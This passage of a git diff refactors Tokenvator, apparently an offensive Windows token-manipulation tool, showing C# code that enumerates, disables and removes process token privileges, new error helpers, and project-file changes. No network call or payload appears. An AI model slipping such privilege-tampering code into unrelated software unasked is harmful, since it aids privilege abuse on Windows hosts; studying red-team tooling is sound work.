Winnt.PRIVILEGE_SET_ALL_NECESSARY, + Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] } + }; + + if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out IntPtr pfResult)) + { + GetWin32Error("PrivilegeCheck"); + Marshal.FreeHGlobal(lpLuid); + continue; + } + if (Convert.ToBoolean(pfResult.ToInt32())) + { + SetTokenPrivilege(ref hToken, lpName.ToString(), Winnt.TokenPrivileges.SE_PRIVILEGE_NONE); + } + SetTokenPrivilege(ref hToken, lpName.ToString(), Winnt.TokenPrivileges.SE_PRIVILEGE_REMOVED); + Marshal.FreeHGlobal(lpLuid); + } + Console.WriteLine(); } //////////////////////////////////////////////////////////////////////////////// @@ -394,42 +454,30 @@ public static void SetTokenPrivilege(ref IntPtr hToken, String privilege) public static void EnumerateTokenPrivileges(IntPtr hToken) { //////////////////////////////////////////////////////////////////////////////// - UInt32 TokenInfLength = 0; Console.WriteLine("[*] Enumerating Token Privileges"); - advapi32.GetTokenInformation( - hToken, - Enums._TOKEN_INFORMATION_CLASS.TokenPrivileges, - IntPtr.Zero, - TokenInfLength, - out TokenInfLength - ); + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, 0, out UInt32 TokenInfLength); if (TokenInfLength < 0 || TokenInfLength > Int32.MaxValue) { - GetError("GetTokenInformation - 1 " + TokenInfLength); + GetWin32Error("GetTokenInformation - 1 " + TokenInfLength); return; } Console.WriteLine("[*] GetTokenInformation - Pass 1"); IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)TokenInfLength) ; //////////////////////////////////////////////////////////////////////////////// - if (!advapi32.GetTokenInformation( - hToken, - Enums._TOKEN_INFORMATION_CLASS.TokenPrivileges, - lpTokenInformation, - TokenInfLength, - out TokenInfLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, lpTokenInformation, TokenInfLength, out TokenInfLength)) { - GetError("GetTokenInformation - 2" + TokenInfLength); + GetWin32Error("GetTokenInformation - 2 " + TokenInfLength); return; } Console.WriteLine("[*] GetTokenInformation - Pass 2"); - Structs._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Structs._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Structs._TOKEN_PRIVILEGES_ARRAY)); - Console.WriteLine("[+] Enumerated " + tokenPrivileges.PrivilegeCount + " Privileges"); - + Winnt._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Winnt._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Winnt._TOKEN_PRIVILEGES_ARRAY)); + Marshal.FreeHGlobal(lpTokenInformation); + Console.WriteLine("[+] Enumerated {0} Privileges", tokenPrivileges.PrivilegeCount); Console.WriteLine(); - Console.WriteLine("{0,-30}{1,-30}", "Privilege Name", "Enabled"); - Console.WriteLine("{0,-30}{1,-30}", "--------------", "-------"); + Console.WriteLine("{0,-45}{1,-30}", "Privilege Name", "Enabled"); + Console.WriteLine("{0,-45}{1,-30}", "--------------", "-------"); //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < tokenPrivileges.PrivilegeCount; i++) { @@ -439,32 +487,35 @@ out TokenInfLength Marshal.StructureToPtr(tokenPrivileges.Privileges[i].Luid, lpLuid, true); advapi32.LookupPrivilegeName(null, lpLuid, null, ref cchName); - if (cchName < 0 || cchName > Int32.MaxValue) + if (cchName <= 0 || cchName > Int32.MaxValue) { - GetError("LookupPrivilegeName " + cchName); - return; + GetWin32Error("LookupPrivilegeName Pass 1"); + Marshal.FreeHGlobal(lpLuid); + continue; } lpName.EnsureCapacity(cchName + 1); if (!advapi32.LookupPrivilegeName(null, lpLuid, lpName, ref cchName)) { - Console.WriteLine("[-] Privilege Name Lookup Failed"); + GetWin32Error("LookupPrivilegeName Pass 2"); + Marshal.FreeHGlobal(lpLuid); continue; } - Structs._PRIVILEGE_SET privilegeSet = new Structs._PRIVILEGE_SET(); - privilegeSet.PrivilegeCount = 1; - privilegeSet.Control = Structs.PRIVILEGE_SET_ALL_NECESSARY; - privilegeSet.Privilege = new Structs._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] }; + Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET + { + PrivilegeCount = 1, + Control = Winnt.PRIVILEGE_SET_ALL_NECESSARY, + Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] } + }; - IntPtr pfResult; - if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out pfResult)) + if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out IntPtr pfResult)) { - Console.WriteLine("[-] Privilege Check Failed"); + GetWin32Error("PrivilegeCheck"); + Marshal.FreeHGlobal(lpLuid); continue; } - Console.WriteLine("{0,-30}{1,-30}", lpName.ToString(), Convert.ToBoolean(pfResult.ToInt32())); - + Console.WriteLine("{0,-45}{1,-30}", lpName.ToString(), Convert.ToBoolean(pfResult.ToInt32())); Marshal.FreeHGlobal(lpLuid); } Console.WriteLine(); @@ -472,9 +523,19 @@ out TokenInfLength //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// - protected static void GetError(String location) + public static void GetNtError(String location, UInt32 ntError) + { + UInt32 win32Error = ntdll.RtlNtStatusToDosError(ntError); + Console.WriteLine(" [-] Function {0} failed: ", location); + Console.WriteLine(" [-] {0}", new System.ComponentModel.Win32Exception((Int32)win32Error).Message); + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + public static void GetWin32Error(String location) { - Console.WriteLine(" [-] Function " + location + " failed: " + Marshal.GetLastWin32Error()); + Console.WriteLine(" [-] Function {0} failed: ", location); + Console.WriteLine(" [-] {0}", new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); } } } diff --git a/Tokenvator/Tokenvator.csproj b/Tokenvator/Tokenvator.csproj index e20a202..bbc21e2 100644 --- a/Tokenvator/Tokenvator.csproj +++ b/Tokenvator/Tokenvator.csproj @@ -1,5 +1,5 @@  - + Debug AnyCPU @@ -10,11 +10,18 @@ Properties Tokenvator Tokenvator - v3.5 + v4.5 512 false true - sgKey.snk + + + false + + + + + 3.5 publish\ true Disk @@ -27,9 +34,9 @@ true 0 1.0.0.%2a - false false true + true @@ -39,6 +46,7 @@ DEBUG;TRACE prompt 4 + false pdbonly @@ -47,6 +55,7 @@ TRACE prompt 4 + false @@ -55,6 +64,10 @@ + + False + ..\..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll + 3.5 @@ -68,29 +81,46 @@ + + + - - + + + + + + + + + + + + + + + + + + + + + - - - - - @@ -128,6 +158,9 @@ + + +